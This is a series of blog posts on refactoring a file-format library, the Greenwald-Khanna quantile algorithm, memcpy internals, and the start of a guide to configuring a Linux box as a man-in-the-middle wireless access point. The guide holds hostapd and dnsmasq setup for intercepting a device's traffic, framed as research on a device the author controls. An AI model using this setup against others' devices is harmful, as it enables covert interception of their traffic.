The Book of Gehn

Lessons Learnt on Refactoring Without Breaking

2025-05-25T00:00:00+00:00

In xoz, every single piece of content data is associated with a descriptor. The content data may fit in the descriptor structure so it is placed somewhere else in the xoz file.

This content is referenced by the descriptor by a object called Segment that knows how to recover the descriptor’s content.

I eventually realized that a single segment would not be enough: if the descriptor would like to have multiple contents parts, the descriptor should own multiple segments as well.

“I should replace Segment segm; by Segment segm[]; and that’s all - a simple refactor - how hard could be?”

Hell…

the branch ended with 69 commits, squashed in a single commit
it was 1 month of work
41 files were changed
with 3014 insertions and 1479 deletions in total

It was hard, not because it was difficult the change but because it was really hard to not break 300 tests with a single change.

This post is a summary of a few good lessons learnt.

The price of breaking backward compatibility

Let me show exactly how was the situation before the refactor.

The descriptor is stored in disk as as follows:

struct descriptor_t {
    uint16_t {
        uint own_content : 1;   // mask: 0x8000
        uint lo_isize    : 5;   // mask: 0x7c00
        uint has_id      : 1;   // mask: 0x0200
        uint type        : 9;   // mask: 0x01ff
    };

    /* present if own_content == 1 */
    uint16_t {
        uint large    : 1;      // mask: 0x8000
        uint lo_csize : 15;     // mask: 0x7fff
    };

    /* present if own_content == 1 and large == 1 */
    uint16_t hi_csize;

    /* present if own_content == 1 */
    struct segment_t segm;
};

It is obvious that if I wanted to change the single segm by an array, I needed to store in disk how many elements segments the array has, how many “parts” the content has: a content_part_cnt counter.

The problem is that xoz has almost 500 tests and most of them check directly or indirectly how exactly a descriptor is written to disk.

Adding a new field will break a lot of them if not all.

Even if some tests don’t check what is written, they compute a checksum of the structure. Adding content_part_cnt will make the checksum differ and again, more tests would be broken.

By that time xoz was not released to the public so changing the file format in such non-backward compatible way was fine… except for me!

Lesson 1: minimize the changes

The own_content signals if the descriptor has or not a segment. With multiple content parts (multiple segments), that bit would signal if there is at least one segment.

This means that one segment is always implicit if own_content is set. A content_part_cnt does not have to count how many parts are but how many are plus the one implicit. A content_part_cnt valued to zero would mean that there is one content part.

So what?

xoz uses the same checksum that the IP protocol uses: it is not very robust but it can be computed easily and in particular, adding 2-bytes zeros does not change the checksum.

So for all my tests that have a single segment, content_part_cnt will be zero and for such tests, the checksum will not change.

I cannot avoid fixing the tests that check exactly what is written to disk but I can prevent breaking the ones that check the checksum.

This is how the structure looks like now:

struct descriptor_t {
    uint16_t {
        uint own_content : 1;   // mask: 0x8000
        uint lo_isize    : 5;   // mask: 0x7c00
        uint has_id      : 1;   // mask: 0x0200
        uint type        : 9;   // mask: 0x01ff
    };

    /* present if own_content == 1 */
    uint16_t content_part_cnt;

    /* present if own_content == 1 */
    struct content_part_t cdata_entries[1 + content_part_cnt];
};

Another detail: the large, lo_csize and hi_csize fields define the size of the content part so now they are bundled together with its segment segm. The content_part_t has the same layout as before to not break more tests.

struct content_part_t {
    uint16_t {
        uint large    : 1;      // mask: 0x8000
        uint lo_csize : 15;     // mask: 0x7fff
    };

    /* present if large == 1 */
    uint16_t hi_csize;

    struct segment_t segm;
};

Lesson 2: if you break too much, stop and step back

Once I resolved the disk format it was time to do the refactor of the structures in memory and run the tests.

But when I tried to do a much larger change in the code base, hell, too many broken tests! Much more that I anticipated.

I faced this situation several times and the lesson that I learnt was “if you break too much, stop and step back”.

No, it was not a bug, it was a symptom that the refactor was too disruptive to be done in a single changeset.

Starting to do multiple sub-fixes + sub-refactors, all at once, while having the tests broken was a no-go. Doing it so it’s like going for a driving, blind.

Step back and try something smaller…, even if you are going to throw it away later.

Lesson 3: do incomplete throw-away refactors, keep all tests passing

Step back and try something smaller…, small incomplete refactors even if you are going to throw it away later.

For example, I only modified the read-from-disk and write-to-disk functions and maintain all the rest of the code from using the first segment loaded.

That allowed me to test the read/write of the new content_part_cnt and fix the tests being 99% sure that if a test was broken it was because I added 2 zero bytes (content_part_cnt) and nothing else.

I was sure that part of the code that I did it was temporal and not part of the real refactor but doing these intermedian changes allowed me to keep the tests passing all the time (after a reasonable amount of fixing).

But I eventually I got stuck.

Lesson 4: if decoupling is hard, isolate first (with spies)

In xoz, the Descriptor objects are managed by DescriptorSet sets.

These sets are an unorder collections of descriptors, not just in memory but also in disk. There is an intimate relationship between those two in order to operate efficiently. In fact, DescriptorSet is a friend class of Descriptor.

And this is a problem.

Changing the internals of Descriptor made the logic in DescriptorSet to change in unexpected ways.

⊕ But why? Because of life.

And because DescriptorSet was developed much earlier. Back then the Descriptor class didn’t offer any public API to manage the content segment but also because using the internals, DescriptorSet could do things hard to get done otherwise.

Time passed, and Descriptor acquired a simplified, high-level API for managing its content. Great for any subclass of it but too limited for DescriptorSet.

And to make it worse, DescriptorSet used its own self-managed content segment (to store the descriptors in the set) bypassing the public interface of Descriptor to interact with the content.

The following is a oversimplification of the code:

class Descriptor {
private:
  friend class DescriptorSet;

  // old, single-part content logic (but still the one working by now)
  uint32_t csize;
  Segment segm;

  // new, multi-part content logic (loaded from disk, but not in use)
  std::vector<content_part_t> cparts;
};

class DescriptorSet : public Descriptor {
private:
  uint32_t own_csize;
  Segment own_managed_segm;

  void update() {
    // attention! DescriptorSet is overriding Descriptor's (old) internal state!
    this->segm = own_managed_segm;
    this->csize = own_csize;
  }
};

Before trying to do any change, I needed to isolate what DescriptorSet knew of Descriptor. You may think, “ok, just add a bunch of public set() and get() methods to Descriptor and make DescriptorSet to use them instead of accessing the internals.

But no, adding just set() and get() would lead to a bad design. And worse, those public methods would be callable from anybody, not just DescriptorSet.

My approach was to use spies: classes that are friend of Descriptor and implement a small subset of the functionality needed by DescriptorSet making DescriptorSet a friend not longer.

class Descriptor {
private:
  friend class DSpy; // DescriptorSet is not longer a friend

  // old, single-part content logic (but still the one working by now)
  uint32_t csize;
  Segment segm;

  // new, multi-part content logic (loaded from disk, but not in use)
  std::vector<content_part_t> cparts;
};

class DSpy {
private:
  Descriptor& dsc;

public:
  void update_segm(const Segment& segm, const uint32_t csize) const {
    // internals access, to the old logic
    dsc.segm = segm;
    dsc.csize = csize;
  }
};

class DescriptorSet : public Descriptor {
private:
  uint32_t own_csize;
  Segment own_managed_segm;

  void update() {
    // Not longer accessing anything private
    DSpy(*this).update_segm(own_managed_segm, own_csize);
  }
};

It may not seem like much, I’m still exposing the internals but:

I have mapped exactly which internals I’m leaking: they are in the DSpy methods, a much smaller place too look. For comparison, DSpy has 3 methods of 1 line each and DescriptorSet has ~40 methods with a total of more than 1000 lines of code.
The use of spies allows me to be selective to which internals I want to leak: I have a small DSpy class for DescriptorSet and another, larger DSpyForTesting for testing but nobody is a direct friend of Descriptor so nobody has access to the entire internals.

Lesson 5: chop-chop, one small bite at time

With the spies in place, I took each of their methods, one by one, and started to figure out how to remove it, doing the necessary changes in DescriptorSet and fixing the tests, if required.

I started with a DSpy with ~8 non-trivial methods and today I reduced it to just 2, one-liners. Each method removed, each simplification lead to a smaller, much easier to understand, interaction between Descriptor and DescriptorSet.

Only then I took the leap to remplace any use of the old single-part implementation by the new one. The real refactor.

The result?

the branch ended with 69 commits, squashed in a single commit
it was 1 month of work
41 files were changed
with 3014 insertions and 1479 deletions in total

Summary

Try to break as little as possible.
If you break too much, stop and step back
Incomplete throw-away code is ok, keep your tests passing, don’t get blind.
Decouple, and if it is hard, isolate first.
Split your refactor into the smallest chunks possible and go one by one.

Greenwald-Khanna e-approximated q-quantile - a review

2024-12-31T00:00:00+00:00

⊕ Sorted observations stored in an array. Assuming 1-based index, the observation at rank $r$ is at the index $r$.

Given $n$ observations, finding which value is at rank $r$ is trivially easy: if we store and sort the observations, the rank $r$ will be at index $r$.

But when $n$ gets really large, it is unfeasible to store or sort all the observations.

Greenwald and Khanna developed a data structure that solves this but with a trade off: we can answer which value is at rank $r$ within certain error.

⊕ For the entire post I will talk about ranks. To deal with quantiles it is just a matter of computing its equivalent rank $r \leftarrow q n$.

It is called an $q$-quantile $\epsilon$-approximation summary.

I coded it, it didn’t work and after a week on this I realized that the original work of Greenwald an Khanna may have a few imprecisions.

This post describes how I rethinked the data structure from scratch, where I found the mentioned imprecisions and how I got a working implementation.

TL;DR -> python implementation in cryptonita Paper -> Greenwald and Khanna (GK01)

Square one: what is wrong with using a sorted array?

The cost is not bad: sorting is $O(n \textrm{log}(n))$ and answering is $O(1)$. If we query multiple times, the cost of the sort will be amortized.

But this assumes that $n$ is fixed and we have all the observations at the moment of sorting.

What would happen if we want to add new observations on the fly?

You see, to keep the array sorted we find the insertion point of the new observation with a binary search $O(\textrm{log}(n))$ and once we know where to insert, we need to move all the next elements of the array to make room. And this is $O(n)$.

And that displacement is bad.

Implicit (computed) ranks

An array is a dead road; long live to a linked list!

The downside is that we lose the $O(1)$ for querying a rank but we avoid having to move the elements to make room for a new one.

Or kind of.

If we explicitly track the rank of each element we still have an $O(n)$ insert because we would have to update all the next elements’ ranks.

Example of inserting the value $12$, at rank $3$. The rank of all the observations on its right must be updated increasing their ranks by $1$.

Instead, we store tuples of the form $t_i = (v_i, g_i)$:

⊕ For example, $g_1 + g_2 + g_3 = 1 + 1 + 1 = 3$ gives the rank of the third observation $20$.

$v_i$: the value of observation.
$g_i$: the gap between that element’s rank and the previous’ rank.

Every time we want to know the rank of any tuple $t_i$ we compute $\sum_{j \le i} g_j$.

Now let’s review what happen when we insert the observation $12$. The observations previous to it should not change but we know that $20$ cannot be at rank $3$ anymore but at least one more, making room for the new incoming $12$.

In other words, adding a new observation shifts by 1 the rank of all the observations on the right. But there is no need to update anything: setting $g = 1$ for $12$ is enough, no need to do any $O(n)$ stuff.

⊕ We are going to improve this even further at the end of the post.

The insertions are now just $O(log(n))$.

Don’t keep all, remove some tuples

To handle very large $n$ we cannot keep all the observations in memory: we need to remove some while still preserving the rank of the others within some error.

For example, the tuple $t_{i+1}$ with value $12$ is at rank $3$. If we remove the previous tuple $t_i$, the value $12$ must still be at rank $3$.

This is easy to achieve: we just need to increase $g_{i+1}$ by $g_i$.

Here are a few more examples:

You can corroborate that the observation $21$ remains at rank $5$ in all the cases.

Removing tuples trades off space by accuracy.

If we ask for the rank $2$, we lost the precise answer but we can return an approximated one: if we answer with rank $1$ (value $4$), we missed just be $1$ rank.

Ask for the observation at rank $2$ but we answer with the observation at rank $1$ effectively making a mistake of $1$ rank.

In general we answer with the closest tuple so the maximum error is at the middle point and it is half the count of tuples removed in between the tuples.

In this example, $\lceil \frac{4 - 1}{2} \rceil = 2$

Luckily, we already are tracking how many tuples we removed: it is just the $g_i$ value of the right-most tuple minus 1.

Why the $- 1$? Because each $g_i$ starts at $1$ and increases by the same amount of removed tuples.

So we can put a upper bound on the error for answering for a rank $r$ that falls in the gap: $\lceil \frac{g_i - 1}{2} \rceil$

Minimum and maximum ranks

Let’s back to how we handle an insert. What would happen if we want to insert the value $16$?

We don’t know what rank the value $16$ should have but we know that it is between ranks $2$ and $6$.

⊕ In fact, if we didn’t delete any tuple, the precise rank for $16$ should had been $4$ which it is between $2$ and $5$.

The value $16$ is between $4$ and $21$ so the rank of $4$ should not change but the value $21$ cannot longer be at rank $5$ but at rank $6$ to make room for the new observation.

Therefore the value $16$ is at rank between $2$ and $5$ (inclusive)

Those ranks are the respective minimum and maximum ranks for $16$.

$$\begin{align*} \textrm{rmin}_i &= \textrm{rank}_{i-1} + 1 \\ \textrm{rmax}_i & = \textrm{rank}_{i+1} \end{align*}$$

But our tuples don’t have explicit ranks but relative offsets.

From $\textrm{rmin}_{i}$ we solve $g_{i}$:

⊕ I’m using here $\textrm{rmax}_{i+1}$ to be the rank before updating the $g_{i+1}$ of the tuple $t_{i+1}$. In the example, $\textrm{rmax}_{i+1}$ would be $5$ not $6$.

In the practice this detail doesn’t matter because the algorithm would never be working with ranks directly.

$$\begin{align*} \textrm{rank}_{i} &= \textrm{rank}_{i-1} + 1 \\ \textrm{rank}_{i} - \textrm{rank}_{i-1} &= 1 \\ g_{i} &= 1 \end{align*}$$

Let’s define a new offset, $\Delta_{i} = \textrm{rmax}_{i} - \textrm{rmin}_{i}$ which can be rewritten as:

$$\begin{align*} \textrm{rmax}_{i} & = \textrm{rank}_{i+1} \\ &= \textrm{rank}_{i-1} + g_{i+1} \\ \textrm{rmax}_{i} - \textrm{rmin}_{i} &= \textrm{rank}_{i-1} + g_{i+1} - \textrm{rmin}_{i} \\ \textrm{rmax}_{i} - \textrm{rmin}_{i} &= \textrm{rank}_{i-1} + g_{i+1} - \textrm{rank}_{i-1} - 1 \\ &= g_{i+1} - 1 \\ \Delta_{i} &= g_{i+1} - 1 \end{align*}$$

Our tuples now we have 3 values:

$v_i$: the observed value
$g_i$: the gap between the predecessor $\textrm{rmin}_{i-1}$ to the current tuple’s $\textrm{rmin}_i$.
$\Delta_i$: the difference between $\textrm{rmax}_i$ and $\textrm{rmin}_i$.

Insert, revised

But the above is incomplete. Let’s see an insert in between two observations that don’t have a single rank but a range.

The value $4$ may be at rank $1$ or $2$. We know for sure that the value $16$ is after $4$ so it cannot have a rank of $1$ but it could have a rank of $2$ or anything above.

The $\textrm{rmin}$ of $4$ defines the $\textrm{rmin}$ of $16$.

For the value $21$ we do the same analysis: it may be at ranks $5$ and $6$ so the value $16$ cannot be at rank $6$ but it could be at rank $5$ and above.

In summary:

$$\begin{align*} \textrm{rmin}_i &= \textrm{rmin}_{i-1} + 1 \\ \textrm{rmax}_i & = \textrm{rmax}_{i+1} - 1 \end{align*}$$

From the first equation we get $g_i = 1$ for the inserted tuple $t_i$ as we got before.

$\Delta_i$ is slightly different:

⊕ I’m using here $\textrm{rmax}_{i+1}$ to be the rank before updating the $g_{i+1}$ of the tuple $t_{i+1}$.

$$\begin{align*} \Delta_i & = \textrm{rmax}_i - \textrm{rmin}_i \\ & = \textrm{rmax}_{i+1} - \textrm{rmin}_{i-1} - 1 \\ & = \textrm{rmin}_{i+1} + \Delta_{i+1} - \textrm{rmin}_{i-1} - 1 \\ & = \textrm{rmin}_{i-1} + g_{i+1} + \Delta_{i+1} - \textrm{rmin}_{i-1} - 1 \\ \Delta_i & = g_{i+1} + \Delta_{i+1} - 1 \end{align*}$$

Removed tuples count, revised

We saw that $g_i - 1$ counts for the tuples removed immediately before the tuple $t_i$ but this is not enough.

Visually we want to count the removed tuples from $\textrm{rmin}_{i-1}$ to $\textrm{rmax}_{i}$.

$$\begin{align*} & = \textrm{rmax}_{i} - \textrm{rmin}_{i-1} - 1 \\ & = \Delta_i + \textrm{rmin}_{i} - \textrm{rmin}_{i-1} - 1 \\ & = \Delta_i + g_i - 1 \end{align*}$$

With this, the upper bound error for answering for a rank $r$ that falls in the gap becomes $\lceil \frac{\Delta_i + g_i - 1}{2} \rceil$

Answer, revised

To answer for a rank $r$, we search any tuple whose ranks are fully contained in the range $(r - \lfloor \epsilon n \rfloor , r + \lfloor \epsilon n \rfloor)$.

This is because we cannot answer with a tuple $t_i$ if any of its possible ranks are outside of the range. Answering with such tuple will imply that we are potentially answering with a value with a truly rank beyond the tolerance $\lfloor \epsilon n \rfloor$, hence having a relative error larger than $\epsilon$.

The answering requires a $O(s)$ search where $s$ is the count of tuples in the summary, much smaller than the total number of observations $n$.

Invariant of the summary: we can always guarantee to answer any rank

It’s easy to see that if the maximum gap between 2 consecutive tuples is $\Delta_i + g_i - 1$ (twice the maximum error), and if we keep this below $2 \lfloor \epsilon n \rfloor$, we can always find the rank with an error of up to $\epsilon n$ (just divide both expressions by 2).

Not a proof but here we go with an intuition:

you are looking for a rank $r$ with maximum error of $\lfloor \epsilon n \rfloor$
a tuple/rank is found iif the tuple’s rank range fully falls inside the $2 \lfloor \epsilon n \rfloor$ window.
not finding such tuple/rank means that the almost correct tuple has a rank range larger than $2 \lfloor \epsilon n \rfloor$.
in other words, $\Delta_i \gt 2 \lfloor \epsilon n \rfloor$
but $\Delta_i$ is a value that never changes (it is fixed when the tuple is inserted) and its value is $g_{i+1} + \Delta_{i+1} - 1$
but $g_{i+1} + \Delta_{i+1} - 1$ is also the maximum gap between the tuples $t_i$ and $t_{i+1}$ (it is twice the maximum error)
and for hypothesis $\Delta_{i+1} + g_{i+1} - 1 \lt 2 \lfloor \epsilon n \rfloor$ which conflicts with the above and leads to a contradiction
so we should be able to find always a tuple for the query of rank $r$ with a maximum error of $\lfloor \epsilon n \rfloor$

In short, the summary always maintains the invariant:

$$\Delta_i + g_i - 1 \le 2 \lfloor \epsilon n \rfloor$$

This imposes a restriction when we can remove or not a tuple: a tuple can be removed if by doing so we are not creating a gap that violates the invariant.

In other words, the tuple $t_i$ can be removed iff:

$$g_i + \Delta_i + g_{i+1} + \Delta_{i+1} - 1 \le 2 \lfloor \epsilon n \rfloor$$

Amortization via deferring inserts

So far we have $O(\textrm{log} s)$ inserts. However, it is possible to defer the inserts, holding them in a temporal buffer and insert all them together later.

Once the buffer is full, we sort it in $O(b \textrm{log} b)$ and do a merge between it and the summary in $O(s+b)$.

We traded $b$ inserts of $O(\textrm{log} s)$ by one $O(b \textrm{log} b) + O(s+b)$.

Moreover, during the merge we can check if the tuple can be removed without violating the invariant.

Wrapping all together

The summary data structure has 3 operations:

insert
merge
query

On each insert, store the observation in a buffer. Once the buffer reaches to the size of the current summary or to some predefined limit, merge it and create a new summary.

The merge operation is as follows:

sort the observations in the buffer
iterate over the buffer and the summary at the same time from the largest to the smallest values; compare both tips and take the largest
- if the value comes from the buffer (new observation), create the tuple $t_i = (v_i, g_i=1, \Delta_i=g_{i+1} + \Delta_{i+1})$
- otherwise, the value comes from the summary, use its tuple
- insert the tuple $t_i$ in the new summary only if otherwise would create a gap too large that would violate the invariant. The only exception is the last (smallest) value (the minimum) that must be inserted in the summary (so the summary always contains the extremes values).

For query, we can offer answers for quantiles or ranks.

To answer for the rank $r$ we scan the summary, summing the $g_j$ values along the way to compute:

$$\begin{align*} \textrm{rmin}_i &\leftarrow \sum_{j \le i} g_j \\ \textrm{rmax}_i &\leftarrow \textrm{rmin}_i + \Delta_i \end{align*}$$

We stop once we find a tuple $t_i$ that satisfies both inequalities:

$$\begin{align*} \textrm{rmin}_i &\ge r - \lfloor \epsilon n \rfloor \\ \textrm{rmax}_i &\le r + \lfloor \epsilon n \rfloor \end{align*}$$

To answer for the quantile $q$, we compute the equivalent rank $r \leftarrow q n$ and proceed as above.

So, which are the discrepancies with Greenwald-Khanna’s work?

Typo in the invariant

Considere the corollary 1 (GK01):

$$\textrm{max}(g_i + \Delta_i) \le 2 \epsilon n \quad \forall i$$

The incorrect part is $g_i + \Delta_i$.

For any new tuple, its $g_i$ is $1$ and it is easy to find a valid small $n$ such $2 \epsilon n$ is smaller than 1 and because $\Delta_i$ is never negative, the corollary does not hold.

I think that the expression should had been:

$$\textrm{max}(g_i + \Delta_i - 1) \le 2 \epsilon n \quad \forall i$$

The left side is always positive but it can be zero so it does not enter in conflict with the right side. This is just a slightly weaker version of the invariant mentioned in the blog post.

And of course, it may no be an error at all ans just I’m not interpreting the paper correctly.

Compress and bands

The authors also implemented a separated routine called $COMPRESS$ that removes unneeded tuples which requires the categorization of all the $\Delta_i$ into bands.

While they use the concept of bands to prove the properties of the algorithm, IMO, these are not needed for running it.

Initial $\Delta_i$

In the first sections of the paper, the authors define for a new tuple $t_i$, its $\Delta_i$ as $\Delta_i = \lfloor 2 \epsilon n \rfloor$.

This is a loose value but the authors used it to prove properties of the algorithm.

In the next sections of the paper, they use $\Delta_i = g_{i+1} + \Delta_{i+1}$ as in the blog post.

Minimum is not preserved

I didn’t explain this but in the python implementation I added some extra condition to delete or not a tuple: if the tuple is at one extreme (its value $v$ is either the maximum or the minimum), do not delete it.

This was the intention of the GK01 authors too but their implementation (or better said, its pseudo code) does not prevent the minimum to be removed.

Conclusions

It was hard. You have no idea.

Once I realized that the paper had some inconsistencies, it took me a week to fully understand and write down –from the scratch– the algorithm and summary data structure.

But that was the easy part. It took me like a month to write this blog post and I truly have deep respect for Greenwald and Khanna.

Writing this blog post taught me how hard is to explain something and even harder to it write without mistakes. I had to redo more than one diagram, fixing indices or adding a missing $- 1$ and, of course, I’m quite sure there is room for improvements.

This is also a reminder why publishing the full implementation, not just pseudo code, is so important. It is written in a formal language and it can be executed and put in test easy.

For example, checking the incorrect invariant $\textrm{max}(g_i + \Delta_i - 1) \le 2 \epsilon n \quad \forall i$ it would be trivial: just add an assert in the code.

The code is never immune to errors, but it is a bit closer to the truth.

Future work

Combine multiples summaries (see Chapter-GK: One may observe values produced from different places, summarized locally and then, somehow, combine these local summaries into a single one.
Non-uniform error: GK’s summary answers with a fixed relative error across the entire range of ranks. In some applications one may want to have certain quantiles with less errors than others.
Read about related problems (see Quantiles over Data Streams: Experimental Comparisons, New Analyses, and Further Improvements

Behind `memcpy`/`memmove`: overlap, words and alignment

2024-09-21T00:00:00+00:00

⊕

How do memcpy/memmove work?

I ended asking that question a few days ago while I was implementing the copy between sections of a file for the xoz library.

memcpy and memmove deal with memory, not with files, but I imagined that I could borrow some ideas anyways.

And I did.

memcpy copyies bytes from a src buffer into another that does not overlap (both buffers are in differen parts of the memory) memmove does the same thing, copying from src to dst but handling carefuly the situation of overlap.

Under the hood, both functions are implemented in the same way. But why the stdlib has 2 separated functions then?

When doing the “copy” between overlapping buffers, you will end up being overriding part of the src content.

⊕ Well, quantum information cannot be copied without destroying the original one. It is called teleportation.

I guess the physics are more sci-fi inclined for picking terms. It is obvious to me that the Universe is just calling memmove.

Imagine wanting to copy src and got src corrupted, the copies does not work like that! It makes sense to name the function memmove because it feels that the content is moved from src to dst (so you don’t care what was left in src) and leave memcpy for when it is a truly copy.

For the rest of the post I will refer to memcpy for simplicity in the wording, even if we are going to see how to handle overlapping buffers like memmove does.

Copy one byte at time - bytecopy

Let’s start with the most obvious algorithm: copy one byte at time.

⊕

void naivecopy(char* dst, char* src, size_t sz) {
    while (sz) {
        *dst = *src;
        ++dst;
        ++src;
        --sz;
    }
}

When we copy between two non-overlaping areas, eveything goes smooth but when they do overlap, this doesn’t work.

The problem is that when we do the write we are overriding data we didn’t copyied yet.

So we just need start copying from the overlapping bytes before they are overriden.

There are 2 cases:

when the overlap is at the begin of src we copy forwards as in naivecopy
when the overlap is at the end of src we copy backwards

Let’s call these bytecopy_fwd and bytecopy_bwd respectively and bytecopy the main algorithm that call one or the other depending of the overlap.

Copy multiple bytes at time - wordcopy and blockcopy

⊕ The term “word” is misleading: a 64 bits architecture may support operands larger than its word size, like uint128_t. So don’t take this term to strictly.

AVX instructions can these days work with 512 bits but its usefulness for copying seems not be clear according this post. While it can copy data faster, it may degrade the performance of the system due how they are implemented (other post).

At the end of the day is a per-architecture analysis: just pick the largest and fastest word size.

Instead of copying byte by byte we can do it word by word. Modern computers can operate with uint32_t, uint64_t, or even uint128_t in a single instruction so a memcpy implementation using them can go 4, 8 or even 16 times faster.

⊕ To be precise, the glibc uses vm_copy that maps the pages of dst to the pages of src on copy-on-write. So vm_copy defers the copy until a page fault.
When copying large buffers with infrequent writes, this lazy copy avoids the costs of a real copy.

Reference: developer apple docs

And if supported by the architecture, we could use even larger chunks or blocks. glibc for example has PAGE_COPY_FWD_MAYBE that copyies entire pages: few kilobytes in a single operation!

We may call these algorithm wordcopy and blockcopy respectively.

⊕ If we are talking of uint64_t or similar word sizes, all the implementations that I saw don’t try smaller word sizes and fallback immediately to bytecopy.

However, some implementations, like glibc’s memcpy, copy by page sizes (a few kilobytes), then copy by word and finally copy the last bytes by one byte at time.
And it makes sense, from copy a few kilobytes per operation to copy one byte at time, there is room to do a much efficient copy in between.

When dealing with input sizes not multiple of the word/block size, we need to copy by smaller sizes towards the end and copying byte by byte in the last steps.

Overlapping areas

To deal with overlapping areas we have the same fordward/backward algorithms than before but copying word by word so let’s call them wordcopy_fwd and wordcopy_bwd respectively.

But…

⊕ In most architectures reading/writing words are only possible from/to addresses aligned to the word size. So the pathological example should never happen.

However, as mentioned before, relax the term “word”. In xoz for example, the copy between parts of a files does not require any alignment so I faced this very overlapped case.

When the source and destination areas are very overlapped, it may be possible that the read of a word overlap with its write (left diagram), The solution is to copy into a local variable in between (right diagram).

Alignment

In general, copying words/blocks requires that both the source and the destination are aligned to the word/block size.

Eventually `src` and `dst` get aligned

If we are lucky, we could have src and dst addresses misaligned but by the same amount. This is the same to say that both addresses share the same $N$ lower bits where $N$ is the $\log_2\left(word size\right)$ or

src & (-wordsize) == dst & (-wordsize)

If that is the case we can call bytecopy until both gets aligned and then go full speed with copying by words/blocks.

Only `dst` gets eventually aligned

As before we start with by calling bytecopy until dst is aligned but not necessary src is.

Consider the following:

Take the src address and compute:

⊕ In this example, src is at address 3 so with wordsize of 4 bytes sh1 is 3 and sh2 is 1.

int sh1 = src % wordsize;
int sh2 = wordsize - sh1;

sh1 and sh2 are how many bytes we should shift a word to make it aligned either towards lower addresses or higher addresses.

Now the trick: for writing 1 word into dst, we read 2 words from src, combine (or merge) them and write that into dst.

⊕ This is valid only for big endian architectures. For little endian, invert the shift directions.

Reference: glibc’s MERGE

The combine (also called merge) of two words takes the left word (lower addr) and shifts it by sh1 to the left; takes the right word (higher addr) and shifts it by sh2 to the right and finally bitwise or them and write the result into dst.

Note how the word-aligned read is right shifted 1 byte making room for the single byte from the previous word and in combination, is formed and written.

The remaining byte is not thrown away but used to build the next word to write.

The first loop iteration is slighly special because we cannot read a full word (we cannot read behind the initial src pointer).

For the rest of the loop iterations we don’t need any padding and work with entire words.

The shifts and or operations are not free so this memcpy implementation is slower than the one with the inputs aligned but still much faster that a bytecopy.

The key insight is that while we are reading 2 words per write, we can hold in a local variable a word to used in the next iteration. So we are not reading the whole src buffer twice.

⊕ Here are the glibc’s implementations.

Let’s call this algorithm wordcopy_dst_aligned and like before it has two flavours wordcopy_dst_aligned_fwd and wordcopy_dst_aligned_bwd for handling overlap.

My take aways

I didn’t know the combine / merge trick or the possibility to lazy copy entire pages.

Taking the seemingly simple memcpy and memmove functions and seeing their implementations shown me that even a plain copy can hide some interesting tricks.

What are your take aways?

Man in the Middle Access Point

2023-10-20T00:00:00+00:00

I was curious about what a phone does behind the scene when it has a wifi connection. In this post I will go step by step on how to turn a wifi card into an access point and how to setup DHCP, DNS, routing and firewall rules to make a computer into a man in the middle box.

There are no hacks, spoofing or poisoning. I will go just through the happy case when I control the target device. Despite of this, it was a interesting problem to solve.

And when I made the mitm box work and I was celebrating, a careful inspection to the traffic shown a few surprises.

TLDR: all the final configuration files can be found here.

Setup a wireless card as an access point

This is the initial setup: a machine with two wireless cards, one (wlan0) connected to an access point on 192.168.0.0/24 network and the other card (apmitm) disconnected.

This machine will serve as the man in the middle between the access point and the target device.

$ ip link show
2: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DORMANT group default qlen 1000
    link/ether aa:aa:aa:aa:aa:aa brd ff:ff:ff:ff:ff:ff
3: apmitm: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN mode DEFAULT group default qlen 1000
    link/ether bb:bb:bb:bb:bb:bb brd ff:ff:ff:ff:ff:ff

We use hostapd to set our apmitm wireless interface into an access point. The configuration is straight forward:

⊕ The parameters should be self-explanatory:

o ssid and channel define the name of the wireless network to setup and in which channel we will be transmitting.

o macaddr_acl allows us filter which clients are allowed to connect to us. This is handy if we want to pinpoint our target.

o auth_algs and wpa configure the encryption. hostapd supports open, wep, wpa and wpa2 (in the example it is set to open)

There are much more parameters but these are the basic.

$ cat hostapd.conf

interface=apmitm

logger_syslog=0
logger_syslog_level=2
logger_stdout=-1
logger_stdout_level=2

ssid=test
channel=1

macaddr_acl=0
auth_algs=1
wpa=0

How to trick the target to connect our access point (apmitm) and not the other one is out the scope for this post. I’m going to assume that you control the target device so you decide which AP to connect to.

$ hostapd hostapd.conf

Configuration file: hostapd.conf
Using interface apmitm with hwaddr bb:bb:bb:bb:bb:bb and ssid "test"
apmitm: interface state UNINITIALIZED->ENABLED
apmitm: AP-ENABLED

apmitm: STA cc:cc:cc:cc:cc:cc IEEE 802.11: authenticated
apmitm: STA cc:cc:cc:cc:cc:cc IEEE 802.11: associated (aid 1)
apmitm: AP-STA-CONNECTED cc:cc:cc:cc:cc:cc
apmitm: STA cc:cc:cc:cc:cc:cc RADIUS: starting accounting session BB24CA4FFFFFFFFF

Target connects to apmitm but the connection will not hold. So far our setup does not assign any IP address to the target and most of the network managers that may be running in the target will eventually give up and disconnect the device.

You will see something like:

AP-STA-DISCONNECTED cc:cc...

Configure a DHCP and assign IP addresses

Despite the name, dnsmasq can work as DHCP server too. IMO it is a little tricky to setup because dnsmasq will try to bind and server on localhost if it is not explicitly disabled.

Here is the configuration file:

⊕ Note how explicit we are: we say the interface name, the IP address where we want to listen, we explicitly say no localhost and we instruct to dnsmasq to bind on the interface that we said (apmitm).

dhcp-range defines the IP set to offer: the syntax is start-address,end-address,network-mask,time-to-leave.

port=0 disables DNS. We will enable it in short.

$ cat dnsmasq-v1.conf
interface=apmitm
listen-address=10.23.0.1
except-interface=lo
bind-interfaces

log-dhcp
no-daemon

dhcp-range=10.23.0.15,10.23.0.88,255.255.255.0,12h

port=0

We assign an IP address to apmitm and we run dnsmasq.

$ ip addr add 10.23.0.1/24 dev apmitm

$ dnsmasq -C dnsmasq-v1.conf

dnsmasq: started, version 2.80 DNS disabled
dnsmasq: compile time options: IPv6 GNU-getopt DBus i18n IDN DHCP DHCPv6
no-Lua TFTP conntrack ipset auth nettlehash DNSSEC loop-detect inotify dumpfile

dnsmasq-dhcp: DHCP, IP range 10.23.0.15 -- 10.23.0.88, lease time 12h
dnsmasq-dhcp: DHCP, sockets bound exclusively to interface apmitm

dnsmasq-dhcp: available DHCP range: 10.23.0.15 -- 10.23.0.88
dnsmasq-dhcp: DHCPDISCOVER(apmitm) cc:cc:cc:cc:cc:cc
dnsmasq-dhcp: tags: apmitm

dnsmasq-dhcp: DHCPOFFER(apmitm) 10.23.0.35 cc:cc:cc:cc:cc:cc
